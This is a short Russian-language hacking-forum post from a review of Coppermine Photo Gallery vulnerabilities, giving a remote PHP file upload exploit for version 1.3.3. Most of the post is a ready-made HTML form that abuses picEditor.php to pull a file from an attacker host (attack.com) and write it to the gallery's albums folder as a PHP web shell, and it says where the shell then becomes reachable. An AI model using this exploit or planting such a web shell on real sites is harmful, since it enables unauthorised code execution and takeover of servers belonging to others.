Форум АНТИЧАТ - Показать сообщение отдельно - [ Обзор уязвимостей Coppermine Photo Gallery ]

Coppermine Photo gallery - Remote PHP File Upload для версии 1.3.3

Код:

<html> 
    <form action="http://cpg133/picEditor.php?img_dir=http://attack.com/&CURRENT_PIC[filename]=/shell.php" 
method=post> 
        <input name="save" value=1>
        <input name="newimage" value="shell.txt">
	<input name="HTTP_GET_VARS" value=1> 
        <input type=submit> 
    </form> 
</html>

http://attack.com/shell.txt - веб шелл, будет доступен по адресу http://cpg133/albums/shell.php

нужны права администратора.